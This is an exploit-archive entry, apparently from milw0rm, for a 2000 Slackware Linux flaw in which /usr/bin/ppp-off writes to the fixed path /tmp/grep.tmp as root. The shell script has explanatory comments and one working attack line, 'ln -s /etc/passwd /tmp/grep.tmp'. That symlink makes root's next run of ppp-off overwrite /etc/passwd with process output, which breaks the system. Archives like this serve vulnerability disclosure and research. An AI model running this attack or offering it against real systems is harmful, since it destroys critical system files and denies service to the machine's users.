Slackware Linux - '/usr/bin/ppp-off' Insecure /tmp Call

Author: sinfony
type: dos
platform: linux
port: 
date_added: 2000-11-16  
date_updated:   
verified: 1  
codes: OSVDB-60675  
tags:   
aliases:   
screenshot_url:   
application_url:   

raw file: 185.sh  
#!/bin/sh
#
# In SlackWare Linux the script /usr/bin/ppp-off writes the
# output of 'ps x' to /tmp/grep.tmp. Since root is the user
# that runs ppp-off,  a non-privileged  user could create a
# link from /tmp/grep.tmp to any file(ie: /etc/issue), thus
# when root runs the  ppp-off script, the  output of 'ps x'
# would be put in the linked file.
#                                                   sinfony

ln -s /etc/passwd /tmp/grep.tmp


# milw0rm.com [2000-11-17]